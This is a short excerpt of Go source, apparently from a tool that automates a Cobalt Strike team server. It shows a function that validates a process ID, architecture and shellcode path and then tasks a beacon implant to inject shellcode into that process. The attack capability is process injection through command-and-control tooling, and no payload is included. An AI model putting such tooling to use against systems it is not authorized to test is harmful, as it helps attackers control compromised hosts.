executeInjectShellcode injects shellcode into a process
(ctx context.Context, client *csclient.Client, beaconID string, action Action)
| 244 | |
| 245 | // executeInjectShellcode injects shellcode into a process |
| 246 | func (e *Executor) executeInjectShellcode(ctx context.Context, client *csclient.Client, beaconID string, action Action) (string, error) { |
| 247 | pidVal, ok := action.Parameters["pid"] |
| 248 | if !ok { |
| 249 | return "", fmt.Errorf("pid parameter required for inject_shellcode") |
| 250 | } |
| 251 | var pid int |
| 252 | switch v := pidVal.(type) { |
| 253 | case float64: |
| 254 | pid = int(v) |
| 255 | case int: |
| 256 | pid = v |
| 257 | default: |
| 258 | return "", fmt.Errorf("pid must be a number") |
| 259 | } |
| 260 | |
| 261 | arch, ok := action.Parameters["arch"].(string) |
| 262 | if !ok { |
| 263 | return "", fmt.Errorf("arch parameter required for inject_shellcode") |
| 264 | } |
| 265 | shellcodePath, ok := action.Parameters["shellcode"].(string) |
| 266 | if !ok { |
| 267 | return "", fmt.Errorf("shellcode parameter required for inject_shellcode") |
| 268 | } |
| 269 | |
| 270 | resp, err := client.InjectShellcode(ctx, beaconID, pid, arch, shellcodePath) |
| 271 | if err != nil { |
| 272 | return "", err |
| 273 | } |
| 274 | return e.waitForOutput(ctx, client, resp.TaskID) |
| 275 | } |
| 276 | |
| 277 | // --- PowerShell & .NET --- |
| 278 |
no test coverage detected